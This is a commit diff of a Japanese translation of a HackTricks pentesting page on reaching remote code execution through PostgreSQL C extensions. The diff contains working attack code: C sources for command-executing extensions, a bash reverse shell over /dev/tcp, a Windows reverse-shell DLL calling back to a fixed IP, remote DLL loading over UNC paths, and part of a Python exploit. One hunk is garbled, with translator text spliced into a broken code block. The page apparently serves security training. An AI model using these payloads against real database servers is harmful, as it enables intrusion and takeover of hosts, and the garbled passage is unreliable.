Translated ['pentesting-web/sql-injection/postgresql-injection/rce-with-

This commit is contained in:
Translator 2024-07-17 17:56:32 +00:00
parent 8c635788cd
commit 76dbcf8a7b

View file

@ -4,25 +4,25 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>
## PostgreSQL拡張機能
PostgreSQLは拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できるようにしています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、または型を提供します。
PostgreSQLは拡張性をコア機能として開発されており、それらが組み込み機能であるかのように拡張機能をシームレスに統合できるようになっています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、または型を提供します。
バージョン8.1以降、拡張ライブラリに特定の要件が課されています特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。
バージョン8.1以降、拡張ライブラリに特定の要件が課されています特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。
また、**[PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。](big-binary-files-upload-postgresql.md)**
### LinuxでのRCE
**詳細については[https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)をチェックしてください**
**詳細についてはこちらをチェックしてください:[https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
PostgreSQL 8.1およびそれ以前のバージョンからシステムコマンドを実行するプロセスは、明確に文書化されており、簡単です。これを使用することが可能です:[Metasploitモジュール](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)。
```sql
@ -38,7 +38,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Base64からバイナリファイルを書き込む</summary>
Postgresでファイルにバイナリを書き込む場合、base64を使用する必要があるかもしれません。その場合に役立つ情報です:
バイナリをファイルに書き込むためには、PostgreSQLでbase64を使用する必要があるかもしれません。その場合に役立つ情報です:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -85,7 +85,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
このエラーは、[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルに適切な内容を持つ「マジックブロック」が含まれているかどうかをチェックします。これにより、異なるPostgreSQLのメジャーバージョン用にコンパイルされたコードなど、明らかな非互換性をサーバーが検出できます。マジックブロックはPostgreSQL 8.2以降で必須となります。マジックブロックを含めるには、モジュールのソースファイルの1つただ1つに、fmgr.hを含めた後に次のように記述します
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルに適切な内容を持つ「マジックブロック」が含まれているかどうかをチェックします。これにより、異なるPostgreSQLのメジャーバージョン用にコンパイルされたコードなど、明らかな非互換性をサーバーが検出できます。マジックブロックはPostgreSQL 8.2以降で必須す。マジックブロックを含めるには、モジュールのソースファイルの1つただ1つに、fmgr.hを含めた後に次のように記述します
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -100,10 +100,13 @@ PostgreSQLのバージョンを取得する:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
以下の手順で、システムにそのバージョンをインストールしてください:
以下は、ファイルpentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.mdからのコンテンツです。
```bash
sudo apt-get install postgresql-9.6
**日本語訳:**
```
互換性のために、主要バージョンが一致していることが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすると、統合が成功するはずです。
システムにそのバージョンをインストールするには:
```
```bash
apt install postgresql postgresql-server-dev-9.6
@ -125,13 +128,13 @@ char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
次に、コンパイルされたライブラリをアップロードして、次のコマンドを実行します:
その後、コンパイルされたライブラリをアップロードして、次のようにコマンドを実行します:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
次の**ライブラリは事前にコンパイル**されており、さまざまなPostgreSQLバージョンで利用可能であり、次のようにしてこのプロセスを**自動化**できますPostgreSQLアクセス権がある場合
あなたはこの**ライブラリを事前にコンパイル**された状態で、さまざまなPostgreSQLバージョンで見つけることができ、さらには次のようにしてこのプロセスを**自動化**することができますPostgreSQLアクセス権がある場合
{% embed url="https://github.com/Dionach/pgexec" %}
@ -174,7 +177,7 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
PG_RETURN_VOID();
}
```
次のzipファイルにコンパイルされたDLLを見つけることができます:
次のzipファイルにコンパイルされたDLLが見つかります:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
@ -184,7 +187,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
[**こちら**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)でこのリバースシェルを見つけることができます
[**こちら**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)でこのリバースシェルを見つけることができます
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
@ -266,32 +269,32 @@ Note how in this case the **malicious code is inside the DllMain function**. Thi
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
### 最新のProstgresバージョンでのRCE
### 最新のPostgresバージョンにおけるRCE
PostgreSQLの**最新バージョン**では、`superuser`が特定のディレクトリWindowsの`C:\Program Files\PostgreSQL\11\lib`や\*nixシステムの`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**読み込むことが禁止**される制限が課されています。これらのディレクトリは、NETWORK\_SERVICEまたはpostgresアカウントによって書き込み操作から**保護**されています。
PostgreSQLの**最新バージョン**では、`superuser`が特定のディレクトリWindowsの場合は`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムの場合は`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**読み込むことが禁止**される制限が課されています。これらのディレクトリは、NETWORK\_SERVICEまたはpostgresアカウントによって書き込み操作から**保護**されています。
これらの制限にもかかわらず、認証済みのデータベース`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイルを書き込む**ことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みを含みます。
これらの制限にもかかわらず、認証済みのデータベース`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイルを書き込むことが可能**です。この機能により、データベース操作(テーブルの更新や作成など)に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内に書き込むことができます。
`CREATE FUNCTION`コマンドから生じる重大な脆弱性は、データディレクトリへのディレクトリトラバーサルを**許可**しています。その結果、認証済みの攻撃者はこのトラバーサルを**悪用**して共有ライブラリファイルをデータディレクトリに書き込み、その後**読み込む**ことができます。この攻撃により、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行することが可能となります。
`CREATE FUNCTION`コマンドから生じる重大な脆弱性は、データディレクトリへの**ディレクトリトラバーサルを許可**しています。その結果、認証済みの攻撃者はこのトラバーサルを**悪用**して共有ライブラリファイルをデータディレクトリに書き込み、その後**読み込む**ことができます。この脆弱性を利用すると、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行できます。
#### 攻撃フロー
まず最初に、**大きなオブジェクトを使用してdllをアップロード**する必要があります。その方法はこちらで確認できます:
まず、**大きなオブジェクトを使用してdllをアップロード**する必要があります。その方法はこちらで確認できます:
{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
この例では、拡張子をpoc.dllとしてデータディレクトリにアップロードした後、次のようにそれを読み込むことができます:
この例では、拡張機能この例ではpoc.dllという名前をデータディレクトリにアップロードした後、次のようにロードできます:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_`.dll`拡張子を追加する必要はないことに注意してください。create関数がそれを追加します。_
_`.dll`拡張子を追加する必要はありません。create関数がそれを追加します。_
詳細については、[**元の出版物をこちらで読んでください**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。**\
その出版物では、[**ポストグレス拡張機能を生成するために使用されるコード**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)が示されていました_ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください_。\
同じページでは、この**テクニックを自動化するためのエクスプロイト**が提供されました:
その出版物では、[**ポストグレス拡張機能を生成するために使用されたコードはこちらです**](https://github.com/sourceincite/tools/blob/master/pgpwn.c)_ポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください_。\
同じページには、このテクニックを自動化する**エクスプロイトが示されていました**:
```python
#!/usr/bin/env python3
import sys
@ -338,10 +341,10 @@ print(" drop function connect_back(text, integer);")
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[Telegramグループ](https://t.me/peass)に参加し、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>